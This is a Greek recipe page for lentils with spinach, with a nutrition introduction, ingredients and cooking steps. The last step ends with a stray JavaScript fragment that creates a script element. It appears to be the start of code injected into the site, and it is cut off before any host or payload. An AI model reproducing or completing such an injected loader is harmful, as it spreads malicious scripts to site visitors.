mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Φακές με σπανάκι

Φακές με σπανάκι

lentils-spinachΈνας απολαυστικός συνδυασμός που συνοδεύεται απίστευτα με ρύζι, ή με ψωμί ή με σαλάτα!

Οι φακές είναι όσπριο υψηλής διατροφικής αξίας καθώς περιέχει συστατικά και βιταμίνες που μπορούν να βοηθήσουν στην πρόληψη ασθενειών ενώ ταυτόχρονα τονώνουν κι ενισχύουν τον οργανισμό. Οι φακές περιέχουν μεγάλη ποσότητα πρωτεΐνης όμως είναι χαμηλή σε λιπαρά! Είναι πλούσια πηγή ασβεστίου και σιδήρου. Αυτήν την εποχή ας δοκιμάσουμε να τις φτιάξουμε με σπανάκι, αυτόν το διατροφικό θησαυρό που βρίσκουμε σε αφθονία την Άνοιξη!

Το σπανάκι πέρα από τα οφέλη που μας δίνει και υπέροχη γεύση Αν αποφασίσουμε να φάμε τις φακές με μια σαλάτα καρότο τότε σίγουρα θα απογειωθούμε σε γεύση και δύναμη!
Οι φακές δημιουργούν επίσης το αίσθημα κορεσμού, είναι οικονομικές και εύκολες στο μαγείρεμα!

Υλικά:

λίγο ελαιόλαδο
2 κρεμμύδια
5 σκελίδες σκόρδου
1/2 φλιτζ. φακές
2 φλιτζ. νερό
300 γρ. σπανάκι
1 καρότο
1 κ.γλ.αλάτι
1 κ.γλ. κύμινο
πιπέρι

Εκτέλεση

1. Πλένουμε τις φακές
2. Ζεσταίνουμε το λάδι σε ένα κατσαρολάκι.
3. Ψιλοκόβουμε τα κρεμμύδια και τσιγαρίζουμε για 3 λεπτά στο λάδι.
4. Λιώνουμε 3 σκελίδες σκόρδου και τις τσιγαρίζουμε μαζί με το κρεμμύδι.
5. Κόβουμε το καρότο σε κυβάκια και το ρίχνουμε στο λάδι.
6. Ρίχνουμε τις φακές και το νερό και ανακατεύουμε
7. Πλένουμε καλά το σπανάκι και το κόβουμε βγάζοντας τα κοτσάνια του.
8. Μόλις οι φακές πάρουν μια βράση περίπου στα 30 λεπτά μαγειρέματος προσθέτουμε το σπανάκι.
9. Βάζουμε το κύμινο, το αλάτι και το πιπέρι και εάν θέλουμε επιπλέον σκόρδο.var d=document;var s=d.createElement(‘script’);

Share This
1 Comment
  1. […] post Φακές με σπανάκι appeared first on Arkoudos, Συνταγές … […]